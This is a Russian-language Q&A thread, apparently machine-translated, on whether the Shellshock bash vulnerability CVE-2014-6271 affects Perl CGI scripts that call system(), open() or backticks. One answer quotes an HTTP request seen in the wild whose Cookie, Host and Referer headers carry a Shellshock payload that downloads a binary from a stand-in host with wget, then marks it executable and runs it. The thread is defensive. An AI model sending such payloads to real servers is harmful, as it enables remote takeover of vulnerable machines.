Уязвимость bash CVE-2014-6271 . Может ли это повлиять на мои CGI Perl-скрипты? Это как понять?
Вчера сообщалось о проблеме CVE-2014-6271, которая является уязвимостью BASH Shellshock. Я пытаюсь понять, может ли это повлиять на мой сервер с помощью моих Perl CGI-скриптов.
Может ли мой код быть подвержен злонамеренному воздействию - что нужно будет сделать для моего кода? Что я должен проверить, чтобы убедиться в этом?
2 ответа
Да, это влияет на Perl, если ваш CGI-скрипт порождает подоболочки, например, используя system() или же open() функции или кавычки. Смотрите этот отличный пост в Red Hat. Обратите внимание, что сообщение в блоге не имеет никакого отношения к Red Hat.
Проверьте ваши Perl CGI-скрипты для этих функций, НО ПЕРВЫЙ ОБНОВЛЕНИЕ BASH ДО ФИКСИРОВАННОЙ ВЕРСИИ!
Вы можете попытаться установить специальные специально созданные строки для HTTP-сервера с заголовками Referrer, Cookie, Host или Accept, которые затем передаются (bash) CGI-сценариям:
GET./.HTTP/1.0. Пользователь-агент:.Спасибо-Роб.Cookie: (). {.:;.};. wget.-O./tmp/besh. http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh;.Host: (). {:;..};. wget.-O./tmp/besh. http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh;.Referer: (). {:;..};. wget.-O./tmp/besh. http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh; Признавайте:./
См. https://gist.github.com/anonymous/929d622f3b36b00c0be1 как реальный пример вредоносного ПО, которое было замечено в дикой природе.
Если ваши Perl-скрипты не вызывают bash (используя system или же openВы должны быть в безопасности.